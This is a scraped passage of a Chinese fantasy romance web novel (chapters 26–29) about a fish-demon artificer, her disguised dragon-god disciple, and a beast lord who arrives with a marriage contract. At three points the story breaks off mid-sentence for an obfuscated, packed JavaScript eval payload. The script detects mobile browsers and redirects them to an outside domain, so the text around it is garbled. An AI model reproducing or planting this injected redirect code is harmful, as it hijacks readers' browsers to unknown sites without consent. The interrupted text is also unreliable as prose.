她欲要从纪长怀手中夺回此剑,好好教训他一顿。谁知纪长怀方才那一剑吃到了甜头,又欺她手无兵器,竟然越战越勇,拿着剑左挥右砍,好不威风,只将对十五夜的怨恨尽数朝着紫凰郡主倾泻而去。 紫凰郡主空手与他过了几招,竟然没占到半分便宜,目光从不解到震惊:“你的剑法是谁教你的?” 纪长怀:“当然是我师父教的——” 他的剑法其实是师兄十五夜教的,但是他恨十五夜入骨,是万万不肯认的。反正十五夜的剑法多半也是师父白骊珠教的,四舍五入一下,就当是师父教的好的。 纪长怀一剑直刺紫凰郡主右肩。紫凰郡主身为羽族郡主,她的佩剑自然也不是寻常兵器,剑锋扫过,流出殷红的鲜血。 紫凰郡主眼见不能取胜,一边与纪长怀缠斗,一边将食指放在唇舌之下,呼哨了一声。 这是她和自己的贴身暗卫“黑雕”之间的联络的暗号,按理来说,新房闹出这么大的动静,“黑雕”身为暗卫,早该出手。可谁知,数息之后,“黑雕”仍然没有出现。 不仅如此,那些本该守在新房外的嬷嬷也都毫无动静。 紫凰郡主终于察觉不对劲了,她不再与纪长怀缠斗,直接跃窗而出,这才发现那几个嬷嬷都死在新房之外,已然没了气息。 天上残月绯紫,整座宫殿被笼罩在一片死寂的氛围之中,仿若无人的死域。 在宫殿顶上,一男一女并肩而立,男子俊美,女子清丽,在月光下仿若双璧。 紫凰郡主一眼认出这两人正是她的老冤家,那天她去找纪长怀逼婚,正是被这两人坏了好事,后来她逼蓝鹊儿献出妖骨,也是被这两个人破坏。 紫凰郡主愈发惊怒:“怎么又是你们?黑雕呢?你们做了什么?” 十五夜淡声道:“没什么,也就是将这座宫殿里的人全部放倒了而已。” 他抬了一下眼皮子,睨向紫凰郡主:“郡主你身为羽族女王的侄女,成立猎妖盟,猎妖取骨,已是滔天大罪。你今日是我自我了结,还是由我替你了结?” 他说话的时候,眉眼冷峻,语气冰冷的毫无温度,却分明有一种惯于生杀予夺的无上威严。 明明外表看起来像是一个纤弱的少年,却莫名让人感觉他周身都有一股沁染了霜雪的寒意,让站在他白骊珠都不禁打了一个寒战。 紫凰郡主心中也莫名升起一股不舒服的感觉,那是一种来自上位者自然而然的威压,她冷喝一声:“你是什么人,敢定我的罪?” 恰在这时,纪长怀持剑从门外冲出,他先是看到了不远之处的紫凰郡主,又看了一眼房顶上的十五夜。 以及……站在他身边的白骊珠。 他可没感受到什么来自上位者的威压,就在他看到十五夜一瞬间,他瞬间想起了被欺骗的愤怒,和莫名奇妙变成女人的尴尬和羞辱。 他全身的血全部都蹭蹭直往脑门上冒,仇恨链接瞬间转移,他忘了紫凰郡主,发出一声惊天动地的咆哮:“十五夜,我杀了你!” 纪长怀一剑飞天,直刺向十五夜。 这一剑战斗力爆表,剑势宛若蛟龙,十五夜急退,堪堪退到房檐边缘,又从房檐退到平地上,这一剑的去势才尽。十五夜一捻指,夹住佩剑,这柄紫凰郡主修复过的佩剑再次断为两截,剑尖半截向下方斜飞出去,不远处传来紫凰郡主凄厉的嚎叫声。 方才,紫凰郡主趁纪长怀突袭十五夜,趁机欲逃,可是那飞来的半截剑尖刺伤了她的小腿,让她再难逃走。 长剑既断,十五夜伸手制住纪长怀:“纪长怀,你是不是有病……” 纪长怀两眼通红:“你才有病,枉费我拿你当师兄,你却用那无良的药丹诓骗我,我不要变成女人……”他几乎就要哭出来。 十五夜冷笑:“你要不要自己照镜子看看,看自己是不是女人?白活了三百岁,连自己是男是女都搞不清楚……出去不要说你是我师弟,我丢不起这个人……” “你……”纪长怀猛然回神,发现自己的身体与之前并无变化,仍然是妥妥的男子身体。 “十五夜,你故意使坏坑我,这好玩是吗?”他更气了:“十五夜,我告诉你,我跟你没完——” 白骊珠又开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949158|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始脑壳痛,这师兄弟两人,什么时候才能和平共处啊—— 另外一边,十五夜一步一步走到紫凰郡主面前。 他自上而下俯视着她,问道:“是谁指使你的?” 紫凰郡主此番一败涂地,气势已矮了半截:“什么是谁指使的?” 十五夜:“我是说猎妖盟的事,你最好老实交代幕后主使是谁。” 紫凰郡主眼神惊讶:“你怎么知道是有人指使?” 十五夜冷哂一声:“因为你太蠢了,就凭你的智商,根本干不了这样的大事。我原以为此事是你姑姑翎天在背后指使,只是你以今日的表现,她的嫌疑应该也可以排除。这件事的背后,应该还有第三个人,告诉我那个人是谁——” 紫凰郡主:“我将此事告诉你,你能放我走吗?” 不知为何,紫凰郡主每次面对此人,心中都有莫名的惊惧之感。如今,事情败露,落入对方之手,恐怕是凶多吉少。如今之计,她也顾不了背叛事主会不会遭到报复,只能保住自己的小命要紧。 十五夜扬了扬眉:“你如果将你知道的事情都说出来,我今天可以放你走。” 紫凰郡主面露惊喜:“真的?” 十五夜:“当然。” 紫凰郡主咬了咬牙,道:“好,我告诉你。事情要从你那天你那天折断了我的佩剑开始说起……那天我在树林里遇到了一个人,准确地来说并不是人……” 十五夜皱眉:“什么叫并不是人……” 紫凰郡主:“他能一口说中我内心中那些从来没有给人说过的心思,他还帮我修复了折断的佩剑。可是从头至尾我只听见他说话,没有看到他的模样。他说……”紫凰郡主顿了一顿,继续道:“他说龙神溯夜可能还没有死,只要我能帮助他将龙神溯夜找出来,他就能帮我达成心中所愿……” 此言一出,在场另外三人同时一怔。 首先跳出来的是白骊珠,“你说什么?龙神溯夜其实没死,这是真的还是假的?” 开什么玩笑,她这次千里迢迢从云林城来到青崖,不就是为了传说中的龙神遗骨吗?如果龙神溯夜根本没死,那她这一趟不是白跑了吗? 这还不是她一个人抓瞎,如今青崖上的大妖一起抓瞎,搞不好这会是妖界历史上最大的乌龙事件。 再然后跳出来的是纪长怀,他方才还呜呜哭呢,这么立马擦干净鼻涕眼泪,一蹦三尺高:“龙神溯夜没死,这是真的吗?” 他脸上的笑容可以开出一朵花:“嘿嘿,我就说嘛,我最崇拜的偶像怎么会死于区区雷劫之下吗?这次上青崖我高低得让我偶像给我签个名,再求他教我两招……” 末了,他一脸鄙夷的睨了十五夜一眼:“某些人别以为自己修为不错就可以到处耀武扬威,我告诉你,和龙神溯夜比起来,你连他的一根小指头也够不上……” 十五夜懒得理他,他冷峻的目光直视紫凰郡主:“龙神溯夜没有死?怎么说?” 作为龙神本尊,他比任何人都想知道自己死亡的真相。他的水晶龙真身的本体真的死在无妄雷劫之下了吗?尸体又在何处?而他又为什么还活着?又是如何落入如今这具躯壳之中? 这个想要借紫凰郡主将他找出来的人又是谁? 27. 第 27 章 紫凰郡主道:“具体我也不清楚。那个人只要求我按照他的方法建立猎妖盟,吸引那些贪婪好利的大妖去杀其他青崖寻宝的大妖,再夺取其妖骨。他说,猎妖取骨是为妖界大罪,说龙神溯夜身为水族大君,没有属于人类的情感,向来依照五族公约行事。如果龙神溯夜真的没死,定容不得猎妖盟在青崖生事,一定会出面处理……” 紫凰郡主苦笑道:“只是,我看那个人应该是失算了。你说得对,我这么愚蠢,成事不足败事有余,连你这个名不见经传的大妖都敌不过,又哪里需要龙神溯夜亲自出手……” 十五夜脸色一僵,眉头轻皱,遥望远方无尽的暗夜。 显然,那背后之人并未失算。相反,计划非常成功。 猎妖盟的事确实引起了他的注意,就算他如今的身份并不是青崖之主,还是忍不住出手干预此事。 那个人是谁?为什么要用这种方式来找他? 他如今成为白骊珠的弟子“十五夜”是不是和这个人有关。 好在,紫凰郡主丝毫没有怀疑过他的身份,应该也来不及将此事告知那幕后之人。 他一伸手,空气之中夜露成珠,又在他手中凝结成一个小小的冰晶球,他将冰晶球塞入紫凰郡主口中,逼她咽了下去,道:“你既然说出你知道的事,我也遵守承诺,暂时不杀你。但是你需得在七天之内回到羽族万木城,亲自向羽族女君翎天请罪。不然,七天之后,你就会血液结冰而死。还有,这三天之中,你不能和任何人说话。只要一开口,就会马上毙命,懂吗?” 紫凰郡主双目圆睁,想要说话,却又不敢。 七天的时限,要从青崖到羽族万木城,一路上马不停蹄才能做到。她顾不得受伤的小腿,仓皇奔逃而走。 白骊珠看着紫凰郡主离开的背影,问道:“阿夜,按照妖界律例,杀妖取骨是不赦之罪,你真的要放她走吗?” 虽然说她也不是爱管闲事的人,但其他参与此事的小喽啰都被杀了,唯独放走了紫凰郡主,她觉得此事不太公平。 十五夜道:“她是羽族女王翎天的侄女,不管怎么说,只有翎天能处置她。” “原来你是欺软怕硬啊,我方才还以为你会杀了她呢!”白骊珠道。 不管怎么说,紫凰郡主这种自私自利,为了自己的利益搅得天下大乱的人她实在喜欢不起来。对于这样的人能脱罪而逃她心里还是有点小情绪的,难道就因为她是天龙人就天生高人一等吗? 十五夜看着她愤愤不平的眼神:“师父以为翎天会护短吗?” 白骊珠道:“难道不会吗?” 十五夜道:“在五族大君中,兽神陆崖为人和气,虫神鳞昆孤傲,蛇神山岐率直,唯有羽族翎天最为严苛,执法严明。她要是听说紫凰郡主在青崖的作为,必定不徇私情。七天的时间刚好够紫凰郡主回到万木城,七日之后,紫凰郡主一样会死。后续,女君翎天也会亲自出面处理猎妖盟剩下之事,就不需要陆崖出面了。” 他的语气极为笃定,就像预见这件事情一定会发生。 白骊珠好奇道:“你对妖族几位大君好像都很了解?”她之前的猜想果然没错,他在妖界果然是个大人物,这处理起这等大事也是头头是道的。 十五夜有些心虚,白骊珠这是对他心生怀疑了,毕竟真正的“十五夜”不会知道关于妖族五位大君的事,他含糊其词道:“我就是有这么一点印象,我想可能是以前听别人说的。” 天际生出鱼肚白,黎明的霞光在远方的群峰逶迤,给它们周围笼上了一道朦胧的亮光,清晨到来了。 大事既了,三人离开猎妖盟宫殿,回到昨天与乌小孙蓝鹊儿分开的营地。 乌小孙和蓝鹊儿见三人全须全尾地回来,还一举解决了猎妖盟这个大患,觉得不可思议至极,对着三人好一阵夸赞,连声追问其中细节,感觉与有荣焉。 十五夜昨晚折腾一宿,不理会这些恭维,早早回自己的营帐补觉。 纪长怀听了夸赞,有几分飘飘然。昨晚的行动,他的戏份虽然不怎么光彩,还差点被迫和紫凰郡主成亲,等他爆发忍无可忍暴发战力的时候,外围都已经被白骊珠和十五夜搞定了。 但和没能参加行动的乌小孙和蓝鹊儿相比,纪长怀觉得自己也算得上有几分夸耀的资本。于是开始吹捧自己是如何一早识破紫凰郡主的阴险计划,以身入局,又在最后关头,以刚刚练就的长生剑法,将主犯紫凰郡主打得抱头鼠窜、落荒而逃。 他这里夸夸其谈,讲的唾沫横飞,口水星子都足够淹死一个人,将乌小孙和蓝鹊儿唬得一愣一愣的。就在这里,从营帐外传来一道极为清雅的男声:“不过几日不见,长怀竟精进如斯,想必在青崖的这段时间是大有奇遇了。” 纪长怀回头,只见森林之中,一位雪衣乌发的男子手持十八骨青油纸伞,一步步走来。他眉目疏淡,袍袖如流云,脸上挂着温和的笑容,气质温润而优雅。纪长怀的长相已是妖界有数的贵公子,来者看起来比他更矜贵几分。 纪长怀一下子怔愣在原地,还没说完的话憋回肚子里,惊声道:“舅舅,你怎么来了?” 白骊珠一愣,纪长怀的舅舅,那不就是妖界五位大君之一,兽族之主陆崖吗? 他竟然看起来如此年轻? 当然,修为到了五位大君这种级别,驻颜有术是基本功,但兽神大人并不是看起来年轻而已,他身上气质纯净,全然不见上位者的冷漠与威严,温润就如同山涧中轻拂过的流风。 白骊珠、乌小孙、蓝鹊儿微微怔愣之后回过神来,一起行礼道:“见过兽神大人。” 白骊珠心中隐隐还有些小兴奋,天啦,活的妖族大君,她这辈子还没见过呢,这趟青崖之行果然是热闹无比。 纪长怀小声嘀咕道:“舅舅,你来青崖干什么?不会是母亲大人让抓我回去结婚吧?”他想起昨晚的事,大声道:“舅舅,打死我也不会和紫凰郡主结婚的,她可不是什么好人。” 陆崖笑道:“咱们兽族何必掺和到她们羽族的王位之争上去,这事是你母亲糊涂。你放心,我已经亲自写了退婚书,让人送往羽族万木城,退了这桩婚事。”他微微侧身,看向白骊珠:“我这次来青崖,是为了你身边的这位白姑娘……” “为了我?”白骊珠心中不可思议,她和兽神大人应该扯不上什么关系吧…… 如果非要攀亲带故的话,也只有她是陆崖外甥的师父这一层关系了。咳,这层关系还是她骗来的…… 陆崖该不会发现她是个骗子,过来兴师问罪吧。 白骊珠忐忑起来,正想滑跪认错,陆崖却慎重地从乾坤袋中掏出一份文书来:“这份文书是你姑姑三百年前亲笔签字的,上面的记载与白姑娘你的终身大事有关。白姑娘可以先鉴定一下,上方的字迹是否是你姑姑白舒眉亲笔。” 嗯?事情似乎和她想的不一样? 她姑姑什么时候留下一封文书?还和她的终身大事有关? 她接过文书打开,上面写着竖行小字。 “骊珠吾姪,少年失怙,吾抚养之。近年吾病骨支离,恐生年不永,因此为姪订 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952963|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下婚盟,许之兽族大君陆崖。从兹缔结良缘,订成佳偶,以书为信,不背盟约。白舒眉字。” 白骊珠将文书一字一字看过,眼睛也越睁越大,最后瞪得有如铜铃一般。 什么?她的姑姑在临死之前还给她订下一个婚约? 她怎么不知道? 什么?她这素未谋面的未婚夫还是兽族的大君陆崖? 她怎么不知道? 还有,她才三百来岁的芳龄,竟然要嫁给一个不知道活了多少岁的糟老头子…… 虽然说陆崖看起来并不老,颜值很高,还贵为水族大君,根据妖界可靠信源,没有结过婚。她如果嫁过去,也是初婚,不存在当接盘侠的问题,只是这年龄差是不是太大了一点? 然而那婚书之上白纸黑字,确确实实是她姑姑的亲笔,上面还按了手印。 陆崖看着她不可思议的表情,又道:“白姑娘如果不信,我这里还有你姑姑白舒眉留下的信物。” 他取出一枚银底金边的鱼鳞,道:“这片鱼鳞应该原属于白姑娘,也是你姑姑随着婚书送给我的信物。”陆崖笑道:“而且,白姑娘身上有一个玉坠,那玉坠呈环状,上面还雕刻着一只白色麋鹿,正是我送给白姑娘的信物,这玉坠应该还在白姑娘身上吧……” 白骊珠震惊到几乎失语。 她当然能认出来,陆崖手上的金边银鳞确实是她的。原是她从前贪玩,一次不小心磕掉了一片鱼鳞,后来被姑姑拿走了,她也没当一回事。 这也就罢了。 关键是陆崖说的那个雕刻着麋鹿的玉坠,确实跟随她多年,是姑姑留给她的遗物。不久前,她为了给十五夜白衣服,在青崖山脚的当铺随手当掉了。 这既有婚书、双方还交换过信物,这婚约已由不得她不相信,唯一的问题是,她姑姑都死了好多年了。她这名义上的未婚夫,早不来找她,晚不来找她,偏偏在这个时候找上门来。 当然了,堂堂兽族大君,要钱有钱,要权有权,要颜值有颜值,娶她一个名不见经传的孤女,怎么说也是自己占了天大便宜,只是这件事不管怎么看都透着一股诡异。 她思来想去,觉得这件事只有一个可能,那就是这个兽神陆崖和她一样是个骗子。虽然纪长怀叫他舅舅,但是她觉得以纪长怀的智商,认不出自己的舅舅是被人假冒的也很正常。 虽然,她觉得自己一穷二白,没什么可以被骗的,但是谁知道骗子的脑回路怎么长的。 当然本着英雄惜英雄,骗子惜骗子的心态,她也不好意思当面拆穿对方,将陆崖拉到一旁的树林,问道:“你真是兽神大人?” 陆崖一愣:“我当然是如假包换的兽族之主。” 白骊珠道:“我听说兽神大人的本体妖身是一头纯白色麋鹿,就连鹿角都白得如同白雪一样,你现场变化一下给我看看……” 她原以为这下子骗子就该知难而退了,谁知她一眨眼,眼前的男人已不见了,不远处的草地上出现了一只矫健而优雅的白色麋鹿。麋鹿通体雪白,鹿角修长,如树枝一般交错生长,如同月光下的花影,轻盈、神秘、静谧、迷人。 白骊珠一下子愣住了,发出由衷的赞叹声:“哇,好漂亮的白鹿……” 她觉得其他的鹿妖绝不会有这种独特的气质,绝对是真的兽神大人没错了。 她脑门一热:“这门婚事我……” “这门婚事我不同意——” 白骊珠一回头,只见十五夜站在不远处,眼神阴沉仿佛恶魔附体,死死盯着不远处的白色麋鹿。 28. 第 28 章 发觉陆崖来临,溯夜心里并无多少波澜。 就凭陆崖从前与他的交情,他历劫而死,陆崖怎么说也该来过问一下。再者,陆崖身为妖族的五位大君之一,青崖发生猎妖盟这样的恶行,致使无数死伤,他这番姗姗来迟已是失职。 如果他还是高居于雪顶天池的龙神溯夜,说不定还要贬损一番。 只是他如今这副模样,并不适合与故人相见。因此,就算陆崖已经是这世上与龙神溯夜关系最密切的人,十五夜也没有出去与陆崖相见的打算。 谁知,陆崖竟然拿出了一封婚书,表明他和白骊珠之间曾有婚约。 这就离谱了。 他和陆崖认识少说也有三千年,从前不知有多少人劝陆崖早点结婚,陆崖总推说独身自由自在,不想受到拘束。后来有人拿年龄说事,陆崖就说水族大君溯夜年龄比他更大,不也单着吗?甚至还半开玩笑地说要等溯夜先成亲,再考虑结婚的事。 谁都知道龙神溯夜断情绝爱,这辈子,不,下辈子下下辈子都是不可能娶亲的,那些劝说之人也歇了这份心思。 怎么,他才和陆崖三百年不见,陆崖就改变主意,决定要成亲了吗? 改变主意也没什么,偏生这婚约对象还是“十五夜”的师父白骊珠。 这些天溯夜占据了“十五夜”的身体,他已经认定“十五夜”和白骊珠之间有爱契的存在。“十五夜”单恋自己的师父白骊珠,所以独自结下爱契,以致白骊珠每次对他动手动脚,他都无法拒绝和反抗。 陆崖和白骊珠之间有婚约,这对于“十五夜”来说可是一个重大的打击。自己喜欢多年的人,如果嫁给兽族大君,那“十五夜”这辈子就完了。 结下爱契之人,如果心上人另嫁他人,爱而不得,就会遭到爱契反噬,锥心呕血而死。 溯夜觉得,自己既然占据了“十五夜”的身体,便该设法替他阻止此事。否则,等他回到自己的躯壳,将来“十五夜”灵魂归来,岂不是徒留遗憾。 他不能成为“十五夜”去喜欢他的师父,也不能坐视白骊珠爱上别人或者嫁给别人。纪长怀不行,陆崖同样不行。 他一双眼睛绿幽幽的,仿佛虎口夺食的恶狼:“这门婚事我不同意——” …… 草叶间光影幻化,白色麋鹿重新变成人形。陆崖瞥了十五夜一眼,又望向白骊珠,问道:“白姑娘,此人是谁?” 白骊珠觉得十五夜这样冲撞一族大君,很是失礼,连忙挽救:“让兽神大人见笑,这是我的大徒弟十五夜。十五夜,快给兽神大人见礼。” 十五夜冷笑,给陆崖行礼,他配吗?他甘心以“十五夜”的身份受白骊珠的驱使,却绝不愿在其他大君面前自低身价。 他高昂着头,看也不看陆崖一眼,十分不屑。 好在陆崖也没有和他计较的意思,甚至根本没有在十五夜的身上多着落一眼,目光一直落在白骊珠身上,笑得温柔优雅:“白姑娘,不知你打算何时履行婚约呢?” 白骊珠刚才一时冲动,差点应下婚事,被十五夜这么一打岔,有些回过神来。 刚才她可真是色令智昏,一时竟忘了自己的白月光青君。想当年长月之海被毁,她久候姑姑不至,差点死在沙滩上,只记得是一个叫青君的大妖救了她。 在之后的三百年,青君时常出现在她的梦里。她始终记得青君,却想不起他的容貌。她一想起青君,就会不由自主地心痛流泪。那种心悸的感觉,就像鱼儿被抛出海面,陷入泥沙之中,不管怎么挣扎,都无法呼吸。 白骊想不起有关青君的任何事,只记得那种无法挣脱的垂死挣扎,让她每次午夜梦回,都感觉自己曾经死过一遭。 更奇怪的是,她向姑姑打听青君的事,姑姑总说从来没有见过青君,妖界也没有叫“青君”这个名号的人。姑姑说,那天到达长月海塌陷留下的戈壁滩时,只见到了白骊珠一个人,她关于青君的回忆多半是一场梦罢了。 白骊珠总觉得那并不是一场梦,而是姑姑隐瞒了什么,但她并没有任何证据。姑姑去世之后,她尊照姑姑的遗嘱,拜入真炎宗,学习炼器之道。她也从真炎宗的典籍上知道了名为“溯回镜”的神器。溯回,顾名思义,使用之后,便可以窥见过去的所有事情。 她想,如果白鱼一族提前知道长月海的大灾变,或许根本就不会灭亡。她想要回到过去,拯救自己的族人。就算长月海倾覆注定无法挽救,她也想知道当时救了自己的人究竟是谁。 她过往的人生中,是不是真的存在一个名叫青君的人。 可惜,溯回镜不是那么好炼的。她费了九牛二虎之力,才得到炼制溯回镜的配方,配方上的材料是一个比一个难找。 首先龙神之心就不提了,再然后赤金之羽、冰雪之角、青焰之牙、苍白之茧这些可都是连《天级材料名录》都不曾记载的材料。 本来,白骊珠对自己炼成溯回镜,找回关于青君的记忆已经不抱多少希望。而龙神之死,让她对龙神之心又有了那么一点点指望。龙神之心既然有指望,其他几种说不定也会有希望。 如果这辈子她再无法见到青君,成为兽族的王后当然也挺好的。 可如果有希望呢?有一天她真的有机会回到过去再遇到青君,会不会感到遗憾。 她想了想,决定还是先找个理由拒绝。她微微一笑:“陆崖大人,这桩婚事是我姑姑私自给我订下,我对此并不知情。我与陆崖大人才刚刚认识不久,上来就谈婚姻之事并不合适。” 陆崖似乎也并不生气,他回以浅笑:“白姑娘所言有理,是我唐突了。婚姻大事,确实应该先互相了解之后再做决定。” 他伸手一指青崖之巅的雪崖:“我想白姑娘应该也是要上雪顶天池,看看有没有机会得到龙神遗骨。从这里到雪顶天池大概还有七天的路程,这七天我就跟白姑娘你们一起行动。” 他唇角轻勾,声调缱绻:“这七天的时间,白姑娘会明白陆崖不但拥有兽族大君的名望,更是值得白姑娘你托付终生之人。七日之后,如果白姑娘仍然没有爱上陆崖,陆崖也愿意解除婚约,绝不纠缠,如何?” 白骊珠无法拒绝。不管从什么角度来看,兽神陆崖都似乎是一个完美无缺的爱人。高贵优雅、风度翩翩,以兽神之尊却无任何倨傲之意。难怪妖界传闻中,陆崖是妖界五位大君之中脾气最好、人缘最好的人。 “对了,补充两点。”陆崖又道:“其一,我是龙神溯夜最好的朋友。三百年前,我经常到访青崖,对于青崖的山川地理的了解,远超过你们手中的地图,当然也胜过你们的向导乌小孙。如果白姑娘带我一起上路,最少可以比其他人早一天到达雪顶天池……” 听到这里,白骊珠自然是十分心动,可还没等她回话,十五夜便怒气哼哼道:“我们不需要,我也能带师父上青崖……” 若论对青崖的了解,谁能比得过龙神本尊。要不是因为猎妖盟之事耽搁,他们早就将其他大妖甩了一大截。 陆崖竟然以此为诱饵,黏着白骊珠,真真不要脸。 陆崖却看都不看他一眼,笑眯眯道:“还有第二,陆崖忝为兽族大君,虽然论起战力修为,在妖界五位大君中只能排行最末,但是也远超其他大妖。白姑娘如果允诺陆崖同行,陆崖自然会竭尽全力,帮助白姑娘得到龙神遗骨,白姑娘觉得如何呢?” 白骊珠双眼放光。 这可是天上掉馅饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白骊珠拖着十五夜回到营帐之中,只见他眼睛都气红了,心中未免苦恼起来。 自她收了纪长怀为徒之后,十五夜处处和纪长怀争风吃醋,她也只觉得这是师兄弟两人想要争夺师父的关注。她以为只要自己一碗水端平,两人自然就能和睦相处。就算后来两人之间日益剑拔弩张,白骊珠也只觉得自己端水技术不太好。 可这次十五夜对陆崖也表现出这么强的敌意,这就让白骊珠想不通了。 考虑到他们的队伍中十五夜和陆崖战力是最强的,将来到了青崖,想要夺得龙神遗骨,两人多半还得精诚合作。她觉得自己该提前调解一下两人的关系,免得事到临头,自己人内讧,反而让别人得到龙神遗骨。 她试探着问道:“阿夜啊,你是不是对陆崖有什么意见?可是你之前不还说过,在妖族的五位大君中,陆崖为人最和气吗?” 十五夜不答反问:“师父,那天你说白鱼一族就剩你我两人,我是你在这世界上最亲近的人,这件事还作数吗?” 他声音喑哑,一点绯红从眼尾晕染开来,连眼角的那片金边银鳞都染成绯色,眸中含泪,将落未落,看得白骊珠心尖尖一颤,又莫名有些心虚。 她反省了一下,自己就像一个满嘴谎言、惯于欺骗他人感情的渣渣。当然了,她又想了想龙神遗骨和溯回镜,也就顾不得渣不渣了。于是她将自己本来就很低的道德感又弹性下滑了一点:“当然,阿夜是我在这世界上最重要的人。” 十五夜道:“那师父喜欢陆崖吗?” 这个问题白骊珠还是会答的,毕竟她心中早有白月光青君了,她坚决道:“当然不会。” 然后她循循善诱:“阿夜啊,你想青崖上大妖那么多,仅凭我们这几个人,得到龙神遗骨恐怕有难度。陆崖再怎么说也是兽族之主,有他帮忙我们会更有把握。而且陆崖不是说了吗,七天之后要是我没喜欢上他,就同意退婚。” 十五夜突然语气幽幽:“那师父这七天会喜欢上他吗?” 白骊珠信誓旦旦:“当然不会。” 29. 第 29 章 众人休整之后,便重新上路。 如今队伍里多了一位新的向导,陆崖果然对青崖地形非常熟悉,而且妖力远超众人,逢山开路遇水搭桥,大家上山的速度提高不少,很快就将其他大妖甩在身后。 两日之后的黄昏,众人照旧安营歇息。 用完晚饭,白骊珠和蓝鹊儿在营帐内小憩。 纪长怀站在门外:“师父,你现在有空吗?我舅舅让我转告师父,说青崖的晚霞绝美,他恰好知道附近有一处绝佳的观赏晚霞之处,问你要不要一起去?” 白骊珠想也不想就拒绝了:“不去,长怀,请你转告一下陆崖大人,说我今天爬了一整天山特别累,需要好好休息。” 本来,青崖风景绝佳,她对欣赏青崖的绝美晚霞还是心动的。但想起之前十五夜看到陆崖的反应,她对接下来的修罗场已经有了一些预见。 在两个徒弟之间端水,就已经让她心力交瘁了,现在又多一个,白骊珠可不想成为夹心饼干好么! 白骊珠这几天的策略是,不管有事没事,只和蓝鹊儿待在一起,将剩下的三人都当空气。另外三人不管叫她去干什么,她都不去,尽量维持这来之不易的平衡。一切等到上了青崖,拿到龙神遗骨再说。 纪长怀离开之后,两个女孩子躺在帐篷里说了一会闲话。忽然,白骊珠感到身上的乾坤袋传来震动声。她打开一看,原来是那面非不非留给她的照骨镜。 白骊珠拿起照骨镜,便听到里面传来非不非的声音:“骊珠,你听得到我说话吗?” 自从上次照骨镜出了毛病,白骊珠已经好久联系不上非不非,她回道:“听得到,这照骨镜怎么回事?为什么上次说话突然断了?” 非不非心虚地咳了一声:“炼器之道,我也不过是个半吊子。做出来的东西不好用也正常,你那边情况怎么样?龙神之心到手了吗?” 白骊珠翻了一个白眼,你以为菜市场买菜呢,这龙神之心哪有这么好到手的。 “没有呢?只能说是有希望。”她长话短说,给非不非说了一下目前的情况。末了又说了她的姑姑以前给她定下了婚约,对方竟然是妖界鼎鼎大名的兽神陆崖,以及陆崖承诺帮她得到龙神遗骨的事,最后道:“如果兽神陆崖愿意帮忙,我觉得得到龙神之心还是有机会的……” 听闻兽神陆崖的名字,非不非有些意外:“骊珠,你说兽神陆崖现在和你在一起?” 白骊珠:“是啊,怎么啦?” 非不非的声音好像有些激动:“骊珠,如果是兽神陆崖,你可能离炼制溯回镜又近了一步。骊珠,我这一段时间回了真炎宗一趟,研究炼制溯回镜的几种稀有材料,还真的让我有所发现。” 白骊珠兴奋道:“是吗?你快说,其他几种材料都在哪里?” 非不非道:“骊珠啊,在我说之前,你一定要冷静,千万不要冲动。你先深呼吸三次……” 白骊珠迫不及待,只道:“我现在非常冷静,你快说吧。” 非不非道:“好,那我可说了。炼制溯回镜的五种材料,分别是龙神之心,冰雪之角、赤金之羽、青焰之牙、苍白之茧。龙神之心你已经知道了,那是水族大君水晶龙族的水晶之心,赤金之羽是羽族之神凤凰的纯金色尾羽,青焰之牙是指蛇族之王眼镜王蛇的牙齿,苍白之蛹是指虫族之王羽蝶羽化之后留下的蝶蛹,还有最后的冰雪之角,是……” 他还没说完,白骊珠便打断了他:“是兽族之王白色雄鹿头顶上那白得好像积雪的树杈子,是吗?” 非不非怔了怔:“你怎么知道?” 白骊珠:“我何止知道,我还见过好吗?” 白骊珠深深吸了一口气,难怪方才非不非让她冷静了。不然,她现在还真想马上出门去将陆崖那一对长得如同冰雪一样的美丽鹿角给掰下来。 好嘛,原来这炼制溯回镜所要的五种材料,是要将妖界的五族大君全部薅一遍,难怪在炼器师行当,还从来都没有人炼制出这样的神器。 将五位大君全部得罪一遍,还有没有命可真难说。这难度,还真的是地狱级的。 她只是妖界一个不出名的小小炼器师,何德何能可以干成这前无古人后无来者的伟大事业? 营帐之内静默了片刻,非不非的声音重新从照骨镜那边传来。 “珠啊,要不咱们放弃算了?” “骊珠……骊珠……” 白骊珠掐断了照骨镜和非不非的联系,从躺着的垫子上跳了起来,就要出门。蓝鹊儿赶紧拉住她:“骊珠啊,非老方才都说了,你现在一定要冷静……” 白骊珠:“冷静不了一点……” 不就是冰雪之角吗? 要不是看不见摸不着也就罢了,既然看见了,当然就得试试。 听说雄鹿的鹿角脱落之后是可以再生的,万一陆崖同意让她掰呢? 就算陆崖不同意,她还可以骗嘛! 不就是骗吗?反正已经骗了两个了,再加一个也不算多。 人有多大胆,地有多大产。 有志者,事竟成。 为了溯回镜,为了再见到青君,她觉得自己的道德底线也还可以再降一降的。 …… 在青崖的群山掩映之中,有一座美丽的湖泊。湖水清澈见底,湖边野花遍地,澄碧色的湖水在夕阳映照下,反射出无数白金色的碎光。站在湖边,可以远眺不远处的雪山。 